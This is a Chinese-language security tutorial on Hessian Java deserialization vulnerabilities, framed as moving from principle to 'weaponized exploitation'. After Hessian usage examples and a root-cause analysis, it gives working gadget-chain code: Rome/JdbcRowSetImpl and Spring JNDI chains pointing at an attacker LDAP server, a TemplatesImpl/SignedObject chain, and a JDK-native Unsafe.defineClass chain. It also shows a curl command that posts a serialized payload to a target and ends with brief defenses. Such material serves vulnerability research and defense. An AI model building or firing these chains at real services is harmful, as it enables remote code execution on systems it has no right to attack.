Hessian反序列化原理到武器化利用
字数 1252 2025-08-29 08:30:12
Hessian反序列化漏洞原理与武器化利用
0x01 Hessian简介
Hessian是由Caucho公司开发的一种轻量级二进制RPC协议,它定义了自己的序列化规则和通信机制。在实际应用中,Hessian通常通过HTTP传输,相比传统的XML/JSON等文本协议,传输效率更高。
Hessian协议有两个主要版本:
- Hessian 1.0:初始版本
- Hessian 2.0:升级版本,优化了序列化效率,性能显著提升
0x02 Hessian基本使用
2.1 自封装调用
依赖配置:
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.60</version>
</dependency>
实体类示例:
public class Person implements Serializable {
private String name;
private int age;
// 构造方法、getter/setter省略
}
序列化与反序列化:
// Hessian 1.0
HessianOutput hessianOutput = new HessianOutput(byteArrayOutputStream);
hessianOutput.writeObject(person);
HessianInput hessianInput = new HessianInput(byteArrayInputStream);
Person deserializedPerson = (Person) hessianInput.readObject();
// Hessian 2.0
Hessian2Output hessianOutput = new Hessian2Output(byteArrayOutputStream);
Hessian2Input hessianInput = new Hessian2Input(byteArrayInputStream);
2.2 Servlet集成Hessian
服务端实现:
@WebServlet(name = "hessian", value = "/hessian")
public class ServiceImpl extends HessianServlet implements Service {
@Override
public String getCurrentTime() {
return "当前时间: " + LocalDateTime.now().format(DateTimeFormatter.ISO_LOCAL_DATE_TIME);
}
}
客户端调用:
HessianProxyFactory factory = new HessianProxyFactory();
Service service = (Service) factory.create(Service.class, "http://localhost:8080/hessian");
System.out.println(service.getCurrentTime());
2.3 Spring集成Hessian
服务接口:
public interface HelloHessianService {
String hello(String name);
}
服务实现:
@Service
public class HelloHessianServiceImpl implements HelloHessianService {
@Override
public String hello(String name) {
return "Hello Hessian " + name;
}
}
服务暴露配置:
@Bean(name = "/hessian/helloService")
public HessianServiceExporter hessianServiceExporter() {
HessianServiceExporter exporter = new HessianServiceExporter();
exporter.setService(helloHessianService);
exporter.setServiceInterface(HelloHessianService.class);
return exporter;
}
0x03 Hessian反序列化漏洞原理分析
3.1 漏洞成因
Hessian反序列化漏洞的核心在于:
- Hessian在反序列化Map类型数据时,会调用HashMap的put方法
- put方法内部会调用hashCode/equals方法
- 如果攻击者构造的恶意类重写了这些方法,就会在反序列化时触发恶意代码
3.2 调用栈分析
HessianInput#readObject根据输入流的第一个字节判断对象类型- 对于Map类型(标记字节为'M'),进入
readMap方法 readMap方法尝试获取对应类型的反序列化器- 如果找不到反序列化器,会创建默认的
MapDeserializer - 最终通过
map.put(key, value)设置键值对
关键点:
- Hessian 1.0将所有对象作为Map读取
- Hessian 2.0使用
UnsafeDeserializer处理自定义类型 - 利用链的起始方法只能是
hashCode/equals/compareTo
0x04 典型利用链
4.1 Rome + JdbcRowSetImpl(需要出网)
依赖:
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
利用代码:
String url = "ldap://127.0.0.1:1389/exploit";
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName(url);
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
HashMap hashMap = MapUtils.makeMap(equalsBean, "1");
// 序列化与反序列化...
4.2 TemplatesImpl + SignedObject(不出网)
利用代码:
// 创建恶意TemplatesImpl
TemplatesImpl obj = new TemplatesImpl();
MapUtils.setValue(obj, "_bytecodes", new byte[][]{evilCode});
MapUtils.setValue(obj, "_name", "xxx");
MapUtils.setValue(obj, "_tfactory", new TransformerFactoryImpl());
// 使用SignedObject包装
ToStringBean bean = new ToStringBean(Templates.class, obj);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, bean);
// 密钥准备
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
// 创建SignedObject
SignedObject signedObject = new SignedObject(hashMap, keyPair.getPrivate(), Signature.getInstance("DSA"));
// 二次包装
ToStringBean toStringBean1 = new ToStringBean(SignedObject.class, signedObject);
EqualsBean equalsBean2 = new EqualsBean(ToStringBean.class, toStringBean1);
// 序列化与反序列化...
4.3 JDK原生利用链(不出网,无依赖)
利用代码:
// 使用Unsafe动态加载恶意类
Method invoke = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
Method defineClass = Unsafe.class.getDeclaredMethod("defineClass", String.class, byte[].class,
int.class, int.class, ClassLoader.class, ProtectionDomain.class);
// 构造SwingLazyValue链
SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke",
new Object[]{invoke, unsafe, new Object[]{className, bytecode, 0, bytecode.length, null, null}});
// 构造UIDefaults触发
UIDefaults uiDefaults = new UIDefaults(new Object[]{"key", swingLazyValue});
Hashtable<Object, Object> hashtable = new Hashtable<>();
hashtable.put("a", uiDefaults);
// 序列化与反序列化...
4.4 Spring AbstractBeanFactoryPointcutAdvisor
依赖:
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>5.0.0.RELEASE</version>
</dependency>
利用代码:
SimpleJndiBeanFactory beanFactory = new SimpleJndiBeanFactory();
beanFactory.setShareableResources("ldap://127.0.0.1:1389/exploit");
DefaultBeanFactoryPointcutAdvisor advisor1 = new DefaultBeanFactoryPointcutAdvisor();
advisor1.setAdviceBeanName("ldap://127.0.0.1:1389/exploit");
advisor1.setBeanFactory(beanFactory);
HotSwappableTargetSource targetSource1 = new HotSwappableTargetSource(advisor1);
HashMap hashMap = MapUtils.makeMap(targetSource1, "1");
// 序列化与反序列化...
0x05 工具自动化
在实际漏洞利用中,可以封装工具实现自动化:
- 支持多种利用链(Rome、XBean、Resin、Spring等)
- 输出格式支持:
- Base64编码
- Hex编码
- 序列化文件导出
- HTTP请求发送功能
示例curl命令:
curl -XPOST --data-binary @hessian.ser http://target/api -H "Content-Type:x-application/hessian"
防御措施
- 升级Hessian到最新版本
- 实现自定义的
SerializerFactory,限制反序列化的类 - 使用白名单机制控制可反序列化的类
- 网络层面限制敏感端口的出站连接